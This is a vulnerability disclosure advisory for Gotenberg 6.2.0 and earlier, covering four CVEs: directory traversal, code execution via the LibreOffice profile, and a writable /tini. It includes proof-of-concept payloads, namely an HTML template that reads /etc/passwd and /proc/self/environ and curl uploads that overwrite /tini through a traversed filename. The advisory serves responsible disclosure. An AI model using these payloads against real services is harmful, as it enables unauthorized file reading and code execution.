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Gotenberg 6.2.0 Traversal / Code Execution / Insecure Permissions

Gotenberg 6.2.0 Traversal / Code Execution / Insecure Permissions
Posted Jan 4, 2021
Authored by Blazej Adamczyk

Gotenberg versions 6.2.0 and below suffer from directory traversal, code execution, and insecure permission vulnerabilities.

tags | exploit, vulnerability, code execution, file inclusion
advisories | CVE-2020-13449, CVE-2020-13450, CVE-2020-13451, CVE-2020-13452
MD5 | a91eed6c85bc9e21292b509d9c121d3a

Gotenberg 6.2.0 Traversal / Code Execution / Insecure Permissions

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1 Multiple vulnerabilities in Gotenberg <= 6.2.0
════════════════════════════════════════════════

Multiple vulnerabilities in Gotenberg (a Docker-powered stateless API
for converting HTML, Markdown and Office documents to PDF used as a
microservice) version <=6.2.0 allow a remote unauthenticated attacker
to execute any command within Docker container.

CVSSv3.1 chained score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Disclosure summary: [https://sploit.tech/2020/12/29/Gotenberg.html]

Write-up: [https://blazej-adamczyk.medium.com/0-day-bug-breaks-multi-million-dollar-system-38c9e31b27e9]

Exploit code: [https://github.com/br0xpl/gotenberg_hack]

Video: [https://youtu.be/NAv8qovLtgI]


1.1 Download tirectory traversal
────────────────────────────────

CVE: CVE-2020-13449

Vendor: [https://www.thecodingmachine.com]

Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

Version: <=6.2.1

Description: Directory traversal vulnerability in Markdown engine of
Gotenberg version 6.2.1 and lower allows unauthorized attacker to read
any container files.

PoC:
1. Create index.html file:
┌────
│ <!doctype html>
│ <html lang="en">
│ <head>
│ <meta charset="utf-8">
│ <title>My PDF</title>
│ </head>
│ <body>
│ <pre style="white-space: pre-wrap;">
│ Path:
│ {{ .DirPath }}
│ PASSWD:
│ {{ toHTML .DirPath "../../../../etc/passwd" }}
│ IP:
│ {{ toHTML .DirPath "../../../../proc/net/fib_trie" }}
│ TCP:
│ {{ toHTML .DirPath "../../../../proc/net/tcp" }}
│ env:
│ {{ toHTML .DirPath "../../../../proc/self/environ" }}
│ </pre>
│ </body>
│ </html>
└────
2. Call markdown endpoint:
┌────
│ $ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html\
│ -o result.pdf --header 'Content-Type: multipart/form-data'
└────


1.2 Upload directory traversal
──────────────────────────────

CVE: CVE-2020-13450

Vendor: [https://www.thecodingmachine.com]

Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

Version: <=6.2.1

Description: Directory traversal vulnerability in file upload function
of Gotenberg version 6.2.1 and lower allows unauthorized attacker to
upload and overwrite any writeable files outside the desired folder.

This can lead to DoS, change program behaviour or even to code
execution (see CVE-2020-13451).

PoC:
┌────
│ curl 'http://$URL_GOTENBERG/convert/markdown' --form files=@index.html \
│ --form "files=@tini;filename=../../../tini" -o res.pdf\
│ --header 'Content-Type: multipart/form-data'
└────


1.3 Code exec vulnerability using incomplete cleanup vulnerability
──────────────────────────────────────────────────────────────────

CVE: CVE-2020-13451

Vendor: [https://www.thecodingmachine.com]

Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

Version: <=6.2.0

Description: Incomplete cleanup vulnerability in Office rendering
engine of Gotenberg version 6.2.1 and lower allows unauthorized
attacker (using a different vulnerability like CVE-2020-13450) to
overwrite libreoffice config (profile) files and execute arbitrary
code using macros.

Gotenberg creates libreoffice profile when office endpoint is called
in tmp choosing a folder with a name based on random ephemeral port
number chosen by kernel. What is most important after finishing
request the profile folder is not removed. Thus using a file upload
vulnerability like the one described in CVE-2020-13450 an attacker can
modify the profile preparing a macro which is going to be executed
next time the same random profile will be reused.

Analyzing kernel sources, in default kernel config, there will be
about 14115 different ports choosen at random. The hack requires to
retry many times but works reliably.

Exploit code: [https://github.com/br0xpl/gotenberg_hack]


1.4 Insecure permissions of main executable
───────────────────────────────────────────

CVE: CVE-2020-13452

Vendor: [https://www.thecodingmachine.com]

Product: Gotenberg ([https://github.com/thecodingmachine/gotenberg])

Version: <=6.2.1

Description: Insecure permissions of /tini (writeable by user
gotenberg) file potentially allows an attacker to overwrite the file
what can lead to Deny of Service or even code execution.


2 Timeline
══════════

• 25.05.2020 - Reported an issue:
[[https://github.com/thecodingmachine/gotenberg/issues/199]].
• 04.06.2020 - Author confirms the issues and works on a fix.
• 05.06.2020 - Pull request
[[https://github.com/thecodingmachine/gotenberg/pull/208]] created.
• 22.06.2020 - Fix merged to version 6.3.0.


3 Credits
═════════

Author: Blazej Adamczyk | [https://sploit.tech/]

Team: Efigo [https://efigo.pl/]
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